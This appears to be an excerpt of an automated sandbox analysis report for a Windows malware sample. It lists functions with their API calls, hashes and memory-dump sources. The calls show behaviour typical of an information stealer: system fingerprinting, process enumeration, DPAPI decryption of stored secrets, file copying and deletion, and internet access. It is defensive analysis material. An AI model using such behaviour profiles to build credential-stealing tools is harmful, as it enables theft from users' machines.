GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414754
HeapAlloc.KERNEL32(00000000), ref: 0041475B
RegOpenKeyExA.KERNEL32(80000002,041934B0,00000000,00020119,00000000), ref: 0041477B
RegQueryValueExA.KERNEL32(00000000,04196B98,00000000,00000000,000000FF,000000FF), ref: 0041479C
RegCloseKey.ADVAPI32(00000000), ref: 004147A6

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 3dd853a6faa74efcafe4ce3258c312c5c269cfcf31c2ef5712d88dc1f31cf0da
Instruction ID: 520453153fef2218f7e1f18e9bcc50e310f062f1fe861ea372c3465721436b4a
Opcode Fuzzy Hash: 3dd853a6faa74efcafe4ce3258c312c5c269cfcf31c2ef5712d88dc1f31cf0da
Instruction Fuzzy Hash: 62013C79A40608FFDB20DBE4ED49FAEB779EB88700F108159FA05A6290DB705A018F90

Uniqueness

Uniqueness Score: -1.00%

Function 00414300 Relevance: 7.5, APIs: 5, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414314
HeapAlloc.KERNEL32(00000000), ref: 0041431B
RegOpenKeyExA.KERNEL32(80000002,041932B8,00000000,00020119,00000000), ref: 0041433B
RegQueryValueExA.KERNEL32(00000000,04196500,00000000,00000000,000000FF,000000FF), ref: 0041435C
RegCloseKey.ADVAPI32(00000000), ref: 00414366

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 423f413abd2b9c08310d568d7ed0a8882adbdfbf2920ff6ae677e6fc83315809
Instruction ID: 8a55c6bb4586fa39bc5dd89715e436abefd5940c4b9bd8db073c1251d6bd8ac1
Opcode Fuzzy Hash: 423f413abd2b9c08310d568d7ed0a8882adbdfbf2920ff6ae677e6fc83315809
Instruction Fuzzy Hash: E3014FB5A40608BFDB20DBE4ED49FAEB77DEB88701F005154FA05E7290DB70AA01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00409970 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(041907A8,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,0040EA16), ref: 0040998D
LoadLibraryA.KERNEL32(041968F8,?,?,?,?,?,?,?,?,?,?,?,0040EA16), ref: 00409A16

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,041908D8,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

SetEnvironmentVariableA.KERNEL32(041907A8,00000000,00000000,?,0041DA4C,?,0040EA16,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0041D6EF), ref: 00409A02

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 00409982, 00409996, 004099AC

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-4027016359
Opcode ID: d3e625e4d82f5ecb9b80f8cc5c09ca908439cfe618f2818e3558033358e63cbb
Instruction ID: 6647cd3c00128b620a4a232c7fbe97fce3d03bd073b05a107f0d1bf2b4fd60a8
Opcode Fuzzy Hash: d3e625e4d82f5ecb9b80f8cc5c09ca908439cfe618f2818e3558033358e63cbb
Instruction Fuzzy Hash: 134196B5900A009BDB24DFA4FD85AAE37B6BB44305F01512EF405A72E2DFB89D46CF54

Uniqueness

Uniqueness Score: -1.00%

Function 004065D0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,@:h@,@:h@), ref: 0040668F

Strings

@:h@, xrefs: 00406670, 00406673
:h@, xrefs: 004065DD, 004065FD, 0040667F
:h@, xrefs: 0040660D, 00406629, 00406678, 00406688, 004065F4, 00406618, 00406623

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: :h@$:h@$@:h@
API String ID: 544645111-3492212131
Opcode ID: 3a0ba57e5e1d9d33aaf5f8e161c54dbb9d0ff39d4d0ab0475c83cdde206519fc
Instruction ID: 05c83ec730d02739dc9afbe7597ff905435882b08ae1c12394b3aafa6fe5c026
Opcode Fuzzy Hash: 3a0ba57e5e1d9d33aaf5f8e161c54dbb9d0ff39d4d0ab0475c83cdde206519fc
Instruction Fuzzy Hash: 272131B4A00208EFDB04CF85C544BAEBBB1FF48304F1185AAD406AB381D3399A91DF85

Uniqueness

Uniqueness Score: -1.00%

Function 0040CEC0 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,04197790,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040CF41
lstrlen.KERNEL32(00000000), ref: 0040D0DF
lstrlen.KERNEL32(00000000), ref: 0040D0F3
DeleteFileA.KERNEL32(00000000), ref: 0040D16C

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 9968e1413d0211feb28b095140a787b815c7b74059ff12fed80035ae3a4b7dc8
Instruction ID: 64a31cdf4344fffa4b83296b1621afa9cae3fe45de11617b70f8002e61f1a089
Opcode Fuzzy Hash: 9968e1413d0211feb28b095140a787b815c7b74059ff12fed80035ae3a4b7dc8
Instruction Fuzzy Hash: 758147769102049BCB14FBA1DC52EEE7739BF54308F51411EF516B6091EF38AA89CBB8

Uniqueness

Uniqueness Score: -1.00%

Function 0040FD10 Relevance: 6.1, APIs: 2, Strings: 1, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 004141C0: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 004141DF
Part of subcall function 004141C0: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041421C
Part of subcall function 004141C0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004142A0
Part of subcall function 004141C0: HeapAlloc.KERNEL32(00000000), ref: 004142A7

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00414300: GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414314
Part of subcall function 00414300: HeapAlloc.KERNEL32(00000000), ref: 0041431B
Part of subcall function 00414300: RegOpenKeyExA.KERNEL32(80000002,041932B8,00000000,00020119,00000000), ref: 0041433B
Part of subcall function 00414300: RegQueryValueExA.KERNEL32(00000000,04196500,00000000,00000000,000000FF,000000FF), ref: 0041435C
Part of subcall function 00414300: RegCloseKey.ADVAPI32(00000000), ref: 00414366

Part of subcall function 00414380: GetCurrentProcess.KERNEL32(00000000,?,?,0040FF99,00000000,?,04196B78,00000000,?,0041D74C,00000000,?,00000000,00000000,?,04190758), ref: 0041438F
Part of subcall function 00414380: IsWow64Process.KERNEL32(00000000,?,?,0040FF99,00000000,?,04196B78,00000000,?,0041D74C,00000000,?,00000000,00000000,?,04190758), ref: 00414396

Part of subcall function 004143C0: GetProcessHeap.KERNEL32(00000000,00000104,00401177,04190848,004136EB,0041D6E3), ref: 004143CD
Part of subcall function 004143C0: HeapAlloc.KERNEL32(00000000), ref: 004143D4
Part of subcall function 004143C0: GetUserNameA.ADVAPI32(?,00000104), ref: 004143EC

Part of subcall function 00414400: GetProcessHeap.KERNEL32(00000000,00000104,004136EB,0041D6E3), ref: 0041440D
Part of subcall function 00414400: HeapAlloc.KERNEL32(00000000), ref: 00414414
Part of subcall function 00414400: GetComputerNameA.KERNEL32(?,00000104), ref: 0041442C

Part of subcall function 00414450: GetProcessHeap.KERNEL32(00000000,00000104,?,0041D748,00000000,?,00000000,0041D2B1), ref: 0041445D
Part of subcall function 00414450: HeapAlloc.KERNEL32(00000000), ref: 00414464
Part of subcall function 00414450: GetLocalTime.KERNEL32(?), ref: 00414471
Part of subcall function 00414450: wsprintfA.USER32 ref: 004144A0

Part of subcall function 004144B0: GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,?,04196560,00000000,?,0041D758,00000000,?,00000000,00000000,?,04196A38,00000000), ref: 004144C0
Part of subcall function 004144B0: HeapAlloc.KERNEL32(00000000), ref: 004144C7
Part of subcall function 004144B0: GetTimeZoneInformation.KERNEL32(?), ref: 004144DA

Part of subcall function 00414530: GetUserDefaultLocaleName.KERNEL32(00000000,00000055,00000000,00000000,?,04196560,00000000,?,0041D758,00000000,?,00000000,00000000,?,04196A38,00000000), ref: 00414542

Part of subcall function 00414570: GetKeyboardLayoutList.USER32(00000000,00000000,0041D146), ref: 0041459E
Part of subcall function 00414570: LocalAlloc.KERNEL32(00000040,?), ref: 004145B6
Part of subcall function 00414570: GetKeyboardLayoutList.USER32(?,00000000), ref: 004145CA
Part of subcall function 00414570: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0041461F
Part of subcall function 00414570: LocalFree.KERNEL32(00000000), ref: 004146DF

Part of subcall function 00414710: GetSystemPowerStatus.KERNEL32(00000000), ref: 0041471A

GetCurrentProcessId.KERNEL32(00000000,?,04196838,00000000,?,0041D76C,00000000,?,00000000,00000000,?,04196368,00000000,?,0041D768,00000000), ref: 0041037E

Part of subcall function 00415B70: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00415B84
Part of subcall function 00415B70: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00415BA5
Part of subcall function 00415B70: CloseHandle.KERNEL32(00000000), ref: 00415BAF

Part of subcall function 00414740: GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414754
Part of subcall function 00414740: HeapAlloc.KERNEL32(00000000), ref: 0041475B
Part of subcall function 00414740: RegOpenKeyExA.KERNEL32(80000002,041934B0,00000000,00020119,00000000), ref: 0041477B
Part of subcall function 00414740: RegQueryValueExA.KERNEL32(00000000,04196B98,00000000,00000000,000000FF,000000FF), ref: 0041479C
Part of subcall function 00414740: RegCloseKey.ADVAPI32(00000000), ref: 004147A6

Part of subcall function 00414800: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00414846
Part of subcall function 00414800: GetLastError.KERNEL32 ref: 00414855

Part of subcall function 004147C0: GetSystemInfo.KERNEL32(00000000), ref: 004147CD
Part of subcall function 004147C0: wsprintfA.USER32 ref: 004147E3

Part of subcall function 00414960: GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,00000000,?,041964E8,00000000,?,0041D774,00000000,?,00000000,00000000,?,041965C0), ref: 0041496D
Part of subcall function 00414960: HeapAlloc.KERNEL32(00000000), ref: 00414974
Part of subcall function 00414960: GlobalMemoryStatusEx.KERNEL32(00000040), ref: 00414995
Part of subcall function 00414960: __aulldiv.LIBCMT ref: 004149AF
Part of subcall function 00414960: __aulldiv.LIBCMT ref: 004149BD
Part of subcall function 00414960: wsprintfA.USER32 ref: 004149E9

Part of subcall function 00414ED0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00414F1C
Part of subcall function 00414ED0: HeapAlloc.KERNEL32(00000000), ref: 00414F23
Part of subcall function 00414ED0: wsprintfA.USER32 ref: 00414F3D

Part of subcall function 00414AE0: RegOpenKeyExA.KERNEL32(00000000,04191280,00000000,00020019,00000000,0041D289), ref: 00414B41

Part of subcall function 00414AE0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00414BC3
Part of subcall function 00414AE0: wsprintfA.USER32 ref: 00414BF6
Part of subcall function 00414AE0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00414C18
Part of subcall function 00414AE0: RegCloseKey.ADVAPI32(00000000), ref: 00414C29
Part of subcall function 00414AE0: RegCloseKey.ADVAPI32(00000000), ref: 00414C36

Part of subcall function 00414DE0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00414E07
Part of subcall function 00414DE0: Process32First.KERNEL32(00000000,00000128), ref: 00414E1B
Part of subcall function 00414DE0: Process32Next.KERNEL32(00000000,00000128), ref: 00414E30
Part of subcall function 00414DE0: FindCloseChangeNotification.KERNEL32(00000000), ref: 00414E9E

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041095B

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,041905E8), ref: 00404ED9

Strings

E.A, xrefs: 00410981, 004109AC, 00410984

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$CloseOpen$wsprintf$Namelstrcpy$InformationLocallstrlen$CurrentInfoKeyboardLayoutListLocaleProcess32QueryStatusSystemTimeUserValue__aulldivlstrcat$ChangeComputerCreateDefaultDirectoryEnumErrorFileFindFirstFreeGlobalHandleInternetLastLogicalMemoryModuleNextNotificationPowerProcessorSnapshotToolhelp32VolumeWindowsWow64Zone
String ID: E.A
API String ID: 1035121393-2211245587
Opcode ID: 22d7a7d0c7b304599765e8ddbccc43f3bd0ddbeea23b2a3725928c9e41e79a48
Instruction ID: c29c4d19e1a1d8256a8b8cfc17993bd3f91cdea4a247a897ffed86f061f16859
Opcode Fuzzy Hash: 22d7a7d0c7b304599765e8ddbccc43f3bd0ddbeea23b2a3725928c9e41e79a48
Instruction Fuzzy Hash: 9372B076D10118AACB15FB91EC91EDEB73DAF14308F51439FB01662491EF346B89CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00411350 Relevance: 6.1, APIs: 4, Instructions: 100stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00411378

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

strtok_s.MSVCRT ref: 0041146F

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,041908D8,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: c7fc50483193d53b4448ec0d7246a2eb933f79da53e90fa6d6319662e6a0464c
Instruction ID: bc44fb65e395c18893d79e2daadfc8d7f4384440e0cba23ba4018ddaa6f79c9f
Opcode Fuzzy Hash: c7fc50483193d53b4448ec0d7246a2eb933f79da53e90fa6d6319662e6a0464c
Instruction Fuzzy Hash: 04417175D00208DBCB04EFE5D855AEEBB75BF48304F00811EE51177290EB38AA85CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004096C0 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 004093A0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
Part of subcall function 004093A0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
Part of subcall function 004093A0: LocalAlloc.KERNEL32(00000040,?), ref: 00409411
Part of subcall function 004093A0: ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
Part of subcall function 004093A0: LocalFree.KERNEL32('@), ref: 00409470
Part of subcall function 004093A0: FindCloseChangeNotification.KERNEL32(000000FF), ref: 0040947A

Part of subcall function 00415530: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00415552

StrStrA.SHLWAPI(00000000,041960F8), ref: 0040971B

Part of subcall function 004094A0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00404BAE,00000000,00000000), ref: 004094CF
Part of subcall function 004094A0: LocalAlloc.KERNEL32(00000040,?,?,?,00404BAE,00000000,?), ref: 004094E1
Part of subcall function 004094A0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00404BAE,00000000,00000000), ref: 0040950A
Part of subcall function 004094A0: LocalFree.KERNEL32(?,?,?,?,00404BAE,00000000,?), ref: 0040951F

memcmp.MSVCRT ref: 00409774

Part of subcall function 00409540: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409564
Part of subcall function 00409540: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409583
Part of subcall function 00409540: LocalFree.KERNEL32(?), ref: 004095AF

Strings

DPAPI, xrefs: 0040976B
, xrefs: 004097A3

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$ChangeCloseCreateDataFindNotificationReadSizeUnprotectlstrcpymemcmp
String ID: $DPAPI
API String ID: 2647593125-1819349886
Opcode ID: a90a7e22b8f651f58ad2f45217d160d180620099e275b382c90511fadfa85031
Instruction ID: 25d6f3248392bfa9bca68fd769027b68fff5740b7e0b7820d89104a1b18a6e16
Opcode Fuzzy Hash: a90a7e22b8f651f58ad2f45217d160d180620099e275b382c90511fadfa85031
Instruction Fuzzy Hash: 493141B6D10108EBCF04DF94DC45AEFB7B9AF48704F14452DE905B3292E7389A44CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00414DE0 Relevance: 6.1, APIs: 4, Instructions: 60processCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00414E07
Process32First.KERNEL32(00000000,00000128), ref: 00414E1B
Process32Next.KERNEL32(00000000,00000128), ref: 00414E30

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

FindCloseChangeNotification.KERNEL32(00000000), ref: 00414E9E

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 3491751439-0
Opcode ID: 1a0ef18b8f83ca929ce2d2d63e3a5c7deae1fcedb9ce826cce40a9630259278b
Instruction ID: b51d58226d22fc07b4aaea4bdcaba1b12d12dab42e387443cd86e66b2ce9f1c4
Opcode Fuzzy Hash: 1a0ef18b8f83ca929ce2d2d63e3a5c7deae1fcedb9ce826cce40a9630259278b
Instruction Fuzzy Hash: ED211D759002189BCB24EB61DC95FDEB779AF54304F1041DAA50A66190DF38AFC5CF94

Uniqueness

Uniqueness Score: -1.00%

Function 004159E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00411879,80000000,00000003,00000000,00000003,00000080,00000000,?,00411879,?), ref: 004159FC
GetFileSizeEx.KERNEL32(000000FF,00411879), ref: 00415A19
CloseHandle.KERNEL32(000000FF), ref: 00415A27

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_u5do.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: f3a5877fc348a9a64368c001e27037213673241a1fda354ede690d4ee948c5a4
Instruction ID: adbcd47bb22ca6d6b42933acd4cabc8e10c5a14c322029dfd4b487fe3fd33794
Opcode Fuzzy Hash: f3a5877fc348a9a64368c001e27037213673241a1fda354ede690d4ee948c5a4
Instruction Fuzzy Hash: C9F03139F44604FBDB20DBF0DC85BDE7779BF44710F118255B951A7280DA7496428B44

Uniqueness

Uniqueness Score: -1.00%

Function 004137B3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,041908D8,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 0041378A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004137A8
CloseHandle.KERNEL32(00000000), ref: 004137B9
Sleep.KERNEL32(00001770), ref: 004137C4
CloseHandle.KERNEL32(?,00000000,?,041908D8,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 004137DA
ExitProcess.KERNEL32 ref: 004137E2

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

